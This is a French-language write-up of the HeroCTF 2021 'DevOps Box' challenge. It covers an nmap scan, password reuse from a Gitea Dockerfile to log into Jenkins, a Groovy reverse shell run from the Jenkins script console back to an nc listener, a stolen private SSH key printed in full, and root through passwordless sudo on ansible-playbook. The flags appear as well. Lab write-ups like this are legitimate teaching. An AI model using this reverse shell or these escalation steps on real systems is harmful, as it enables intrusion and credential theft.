HeroCTF 2021 - DevOps Box writeup

Table des matières :

Reconnaissance

Tout d’abord, nous faisons une première phase de reconnaissance de la box avec nmap:

# Nmap 7.80 scan initiated Sat Apr 24 11:35:54 2021 as: nmap -p- -sV -A -sC -oN mynmap.txt box.heroctf.fr
Nmap scan report for box.heroctf.fr (35.246.63.133)
Host is up (0.026s latency).
rDNS record for 35.246.63.133: 133.63.246.35.bc.googleusercontent.com
Not shown: 65529 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 af:4c:ca:c8:43:fd:71:32:36:b6:ae:39:e4:11:17:33 (RSA)
|   256  b0:06:3f:e4:8a:cd:62:86:ad:19:bb:bd:85:45:0d:c4 (ECDSA)
|_  256  a9:0e:3c:0a:00:c1:b9:e6:74:df:53:69:8b:e7:70:2d (ED25519)
25/tcp    filtered smtp
2222/tcp  open     ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|   2048 b5:bb:7a:f9:09:39:8f:5a:7b:86:34:02:01:7c:f3:e0 (RSA)
|   256  09:83:5a:c8:10:8a:1d:68:ff:4d:4f:f1:9c:1e:b9:0c (ECDSA)
|_  256  13:23:da:11:d8:20:f3:ac:ee:95:95:31:1b:9d:fa:30 (ED25519)
3000/tcp  open     ppp?
| fingerprint-strings:
|   GenericLines, Help:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=51ae744feaf30de2; Path=/; HttpOnly
|     Set-Cookie: _csrf=f-nMsBHQhV7dn65fkM9q5tbblXM6MTYxOTI1NzE1NTI4NTI0MjMxMA; Path=/; Expires=Sun, 25 Apr 2021 09:39:15 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 24 Apr 2021 09:39:15 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Git for my ecomerce website </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions:
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=5162e2c7261609cf; Path=/; HttpOnly
|     Set-Cookie: _csrf=PWgv7IESCJgGuui96GMYSNcl9Rs6MTYxOTI1NzE2MDQ0NjY1ODg2OQ; Path=/; Expires=Sun, 25 Apr 2021 09:39:20 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 24 Apr 2021 09:39:20 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Git for my ecomerce website </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a cu
8080/tcp  open     http    Jetty 9.2.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.2.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
50000/tcp open     http    Jenkins httpd 2.60.3
|_http-server-header: 192.168.144.2
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 24 11:41:50 2021 -- 1 IP address (1 host up) scanned in 355.78 seconds

Dans les ports ouverts, nous voyons deux services intéressants actifs sur la machine:

  • box.heroctf.fr:3000 : Gitea 1.12.4
  • box.heroctf.fr:8080 : Jenkins 2.60.3

Sur le site web du GiTea, nous pouvons créer un compte. Nous en créons un et nous voyons deux repos git très intéressants:

Gitea repositories

L’un de ces deux repos est particulièrement intéressant:

Gitea repositories

Nous les clonons (git clone) pour les avoir localement, et nous recherchons les éléments intéressants dedans. Dans le Dockerfile, nous trouvons le mot de passe de l’utilisateur git : heroes:

FROM gitea/gitea:1.12.4

COPY ./files/root.txt /root/root.txt
RUN chown root:root /root/root.txt
RUN chmod 400 /root/root.txt

RUN apk add gcc git libffi-dev musl-dev openssl-dev perl py-pip python python-dev sshpass
RUN python -m pip install git+git://github.com/ansible/ansible.git@devel

RUN apk add sudo
RUN echo "git:heroes" | chpasswd
RUN echo "git ALL=(ALL) NOPASSWD:/usr/bin/ansible-playbook" >> /etc/sudoers

Obtention d’un shell

Nous essayons de nous connecter en tant qu’administrateur sur le Jenkins avec une réutilisation de mot de passe:

Username : admin
Password : heroes

Et nous sommes connectés!

Jenkins Login

Maintenant que nous sommes connectés, nous pouvons aller dans la console de gestion:

Jenkins Manage

Et nous pouvons exécuter du code en utilisant la console de script de Jenkins (http://box.heroctf.fr:8080/script):

Jenkins Script

À l’intérieur de cette console, nous pouvons utiliser un reverse shell en Groovy script:

String host="IP";
int port=4444;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Maintenant que nous avons le reverse shell, nous pouvons obtenir le flag utilisateur:

$ nc -lvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 35.246.63.133.
Ncat: Connection from 35.246.63.133:54878.
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
python -c '__import__("pty").spawn("bash")'
jenkins@gentleman:/$ cd /home
cd /home
jenkins@gentleman:/home$ ls
ls
jenkins@gentleman:/home$ ls -lha
ls -lha
total 8.0K
drwxr-xr-x 2 root root 4.0K Jun 26  2018 .
drwxr-xr-x 1 root root 4.0K Apr 24 09:00 ..
jenkins@gentleman:/home$ find / -name "user.txt" 2>/dev/null
find / -name "user.txt" 2>/dev/null
/var/jenkins_home/user.txt
jenkins@gentleman:/home$ cat /var/jenkins_home/user.txt
cat /var/jenkins_home/user.txt
Hero{dc97a2f7da5304d12fe820bd2a6d343d}
jenkins@gentleman:/home$

Maintenant que nous avons le flag utilisateur, nous pouvons essayer de passer à root!

Shell as gitea user

Maintenant que nous avons le flag utilisateur, nous regardons autour de nous dans les fichiers de Jenkin et nous trouvons la clé privée Gitea :

jenkins@gentleman:~$ ls
ls
config.xml				     nodes
copy_reference_file.log			     plugins
gitea.key				     queue.xml.bak
hudson.model.UpdateCenter.xml		     secret.key
identity.key.enc			     secret.key.not-so-secret
init.groovy.d				     secrets
jenkins.CLI.xml				     user.txt
jenkins.install.InstallUtil.lastExecVersion  userContent
jenkins.install.UpgradeWizard.state	     users
jobs					     war
logs					     workspace
nodeMonitors.xml
jenkins@gentleman:~$ cat gitea.key
cat gitea.key
-----BEGIN OPENSSH PRIVATE KEY-----
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
FZkG8u37SmCjAAAAB2Fuc2libGUBAgM=
-----END OPENSSH PRIVATE KEY-----

Nous pouvons maintenant nous connecter en tant qu’utilisateur gitea!

Privilege escalation to root

Nous pouvons maintenant nous connecter à la boîte en tant qu’utilisateur gitea:

$ ssh git@box.heroctf.fr -p 2222 -i ./gitea.key
gitea:~$

À ce stade, nous essayons des techniques simples d’enumeration, comme sudo -l, et nous trouvons :

gitea:~$ sudo -l
User git may run the following commands on gitea:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook
gitea:~$

Nous pouvons probablement faire une élévation de privilèges en utilisant ansible. Pour ce faire, nous créons un simple playbook ansible:

---
  - name: Privesc
    hosts: localhost
    become: true
    become_user: root
    become_method: sudo
    tasks:

    - name: Shell command
      shell:
         "cat /root/root.txt"
      register: cmd
      tags: cmd

    - debug: msg="{{cmd.stdout}}"

Maintenant, nous pouvons exécuter notre playbook, qui aura les droits pour lire le flag en tant que root:

gitea:~$ sudo /usr/bin/ansible-playbook simple_playbook.yml
sudo: setrlimit(RLIMIT_CORE): Operation not permitted
[DEPRECATION WARNING]: Ansible will require Python 3.8 or newer on the controller starting with Ansible 2.12. Current version: 2.7.18
 (default, May  3 2020, 20:31:45) [GCC 9.2.0]. This feature will be removed from ansible-core in version 2.12. Deprecation warnings
can be disabled by setting deprecation_warnings=False in ansible.cfg.
/usr/lib/python2.7/site-packages/ansible/parsing/vault/__init__.py:44: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.exceptions import InvalidSignature
[WARNING]: You are running the development version of Ansible. You should only run Ansible from "devel" if you are modifying the
Ansible engine, or trying out features under development. This is a rapidly changing source of code and can become unstable at any
point.
[WARNING]: No inventory was parsed, only implicit localhost is available
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [Privesc] ***********************************************************************************************************************

TASK [Gathering Facts] ***************************************************************************************************************
ok: [localhost]

TASK [Shell command] *****************************************************************************************************************
changed: [localhost]

TASK [debug] *************************************************************************************************************************
ok: [localhost] => {
    "msg": "Hero{ce4e994cb477dec9b1ea876db647c562}"
}

PLAY RECAP ***************************************************************************************************************************
localhost                  : ok=3    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   

gitea:~$

Et nous avons le flag root Hero{ce4e994cb477dec9b1ea876db647c562} !